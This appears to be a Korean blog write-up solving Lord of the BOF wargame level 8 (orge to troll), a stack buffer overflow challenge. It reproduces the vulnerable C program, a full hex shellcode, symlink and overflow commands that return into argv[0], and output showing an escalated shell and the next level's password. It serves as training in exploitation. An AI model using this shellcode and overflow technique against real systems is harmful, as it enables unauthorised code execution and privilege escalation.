[LOB] level8, orge-> troll풀이
- 시스템해킹/LordOfBof
- 2020. 4. 5. 04:05
LOB, orge-> troll 문제 확인
이전 문제에서 argv 수를 제한(argc == 2)하는 조건문이 추가되었다.
/*
The Lord of the BOF : The Fellowship of the BOF
- troll
- check argc + argv hunter
*/
#include
#include
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
// here is changed
if(argc != 2){
printf("argc must be two!\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// one more!
memset(argv[1], 0, strlen(argv[1]));
}
다시한번, 제약조건들을 정리해보면 아래와 같다. 인자수제한으로 argv[0], argv[1]까지 밖에 사용하지 못하기 때문에 이전 문제에서처럼 argv[2]를 이용할 수 없게 되었다.
-
환경변수 초기화
-
버퍼 초기화
-
argv[1] 길이체크
-
48번쨰 바이트 \xbf
-
인자수 제한 (1개)
LOB, orge-> troll 풀이
일단 이런경우 argv[0]을 사용해야되는데 쉘코드를 파일명으로 갖는 심볼릭 링크 파일을 하나 만들어서 사용하는 방법이 있다. argv[0] 값이 저장된 주소를 알아낸 다음 RET에 해당 주소값을 덮어쓰면 쉘코드가 실행될 것이다. 한가지 주의할 점은, 쉘코드의 \x2f는 파일명에서 사용되면 "/"로 인식되기 때문에 에러가 발생해서 \x2f가 없는 쉘코드를 구글링으로 구했다.
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea
\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a
\xe2\x9a\xb1\x0c\xce\x81
제일 먼저 not+shellcode를 파일명으로 갖는 파일의 심볼링 링크를 troll로 설정해주었다.
[orge@localhost orge]$ ln -s troll `python -c 'print "\x90"*100+"[shellcode]"'`
그리고 gdb로 argv[0] 주소값을 파악하기 위해 tmp에 복사한 troll 파일 명을 "A"*100으로 해주었다.
strcpy 호출 후 bp를 건 후 스택을 확인하는데 처음 0x41 부분은 버퍼 시작 부분이고 RET 뒤의 아래부분에서 argv[0]을 확인할 수 있다.
따라서 대략 \xbffffb84를 리턴에 덮어주었는데 세그폴트만 발생할 뿐 쉘획득이 되지 않았다.
몇번 고치다가 계속 gdb로 확인하는 것이 번거로워 troll.c 코드에 printf("%p\x",argv[0]) 코드를 추가해서 컴파일했다. 그리고 실제 익스 환경과 동일하게 하기 위해 심볼릭 링크도 동일하게 걸어주었다.
[orge@localhost /tmp]$ gcc -o troll troll.c
[orge@localhost /tmp]$
[orge@localhost /tmp]$ ln -s troll `python -c 'print "\x90"*100+"[shellcode]"'`
LOB, orge-> troll 익스플로잇
그리고 나온 주소값을 통해 한 3번정도 재시도를 한 끝에 쉘을 획득할 수 있었다.
[orge@localhost orge]$ /tmp/`python -c 'print "\x90"*100+"[shellcode]"'` `python -c 'print "A"*44+"\x2a\xfc\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA*
0xbffffa74
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`python -c 'print "\x90"*100+"[shellcode]"'` `python -c 'print "A"*44+"\x74\xfa\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAt
bash$ id
uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)
bash$ my-pass
euid = 508
aspirin
'시스템해킹 > LordOfBof' 카테고리의 다른 글
[LOB] level10, vampire -> skleton 풀이 (0) | 2020.04.06 |
---|---|
[LOB] level9, troll -> vampire 풀이 (0) | 2020.04.06 |
[LOB] level7, darkelf -> orge 풀이 (0) | 2020.04.05 |
[LOB] level6, wolfman -> darkelf 풀이 (0) | 2020.04.04 |
[LOB] level5, orc -> wolfman 풀이 (0) | 2020.04.04 |